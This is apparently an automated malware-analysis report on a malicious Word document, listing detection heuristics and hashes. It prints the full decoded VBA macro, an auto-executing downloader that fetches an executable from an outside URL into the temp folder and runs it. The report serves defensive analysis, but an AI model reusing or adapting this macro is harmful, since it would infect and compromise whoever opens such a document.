Office (OLE) malware analysis — malicious · 453a8ab780d68cf9

MALICIOUS

Office (OLE)

30.0 KB Created: 2014-04-27 20:42:00 Authoring application: Microsoft Office Word First seen: 2015-10-13

MD5: e3b833b39f159fa6403b20d00da37050 SHA-1: c3f2f2d276b2deb2520d7f1fca47081deff9fa32 SHA-256: 453a8ab780d68cf97467ef8c34755f9fab163f71be9cb42d619d693c544555cc

374 Risk Score

Heuristics 13

ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD

Reference to URLDownloadToFile API
VBA macros detected medium 7 related findings OLE_VBA_MACROS

Document contains VBA macro code
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    IZIRTU = Shell(MRZFRR, 1)
```
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD

URLDownloadToFile in VBA
Matched line in script
```
Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal HFNQFX As Long, _
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
    Auto_Open
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
    WKBZPC "http://venkonn.com/kwudi.exe", Environ("TMP") & "\sfjozjeri.exe"
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://venkonn.com/kwudi.exe� Referenced by macro
- http://venkonn.com/kwudi.exeReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 964 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	964 bytes
SHA-256: `a05b3de23079384c42c18376d34a89466dcc371a53198e727cf3fe65f7ffce44`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Option Explicit Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal HFNQFX As Long, _ ByVal LTWWZK As String, ByVal DJIDAP As String, ByVal QSFBRS As Long, _ ByVal GSOLKE As Long) As Long Sub AutoOpen() Auto_Open End Sub Sub Auto_Open() DFWVMW End Sub Public Sub DFWVMW() WKBZPC "http://venkonn.com/kwudi.exe", Environ("TMP") & "\sfjozjeri.exe" End Sub Function WKBZPC(LNEJUT As String, MRZFRR As String) As Boolean Dim SFOUKM As Long SFOUKM = URLDownloadToFileA(0, LNEJUT, MRZFRR, 0, 0) If SFOUKM = 0 Then WKBZPC = True Dim IZIRTU IZIRTU = Shell(MRZFRR, 1) End Function Sub Workbook_Open() Auto_Open End Sub

SHA-256: a05b3de23079384c42c18376d34a89466dcc371a53198e727cf3fe65f7ffce44

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal HFNQFX As Long, _
ByVal LTWWZK As String, ByVal DJIDAP As String, ByVal QSFBRS As Long, _
ByVal GSOLKE As Long) As Long
Sub AutoOpen()
    Auto_Open
End Sub
Sub Auto_Open()
DFWVMW
End Sub
Public Sub DFWVMW()
    WKBZPC "http://venkonn.com/kwudi.exe", Environ("TMP") & "\sfjozjeri.exe"
End Sub
Function WKBZPC(LNEJUT As String, MRZFRR As String) As Boolean
    Dim SFOUKM As Long
    SFOUKM = URLDownloadToFileA(0, LNEJUT, MRZFRR, 0, 0)
    If SFOUKM = 0 Then WKBZPC = True
    Dim IZIRTU
    IZIRTU = Shell(MRZFRR, 1)
End Function
Sub Workbook_Open()
    Auto_Open
End Sub

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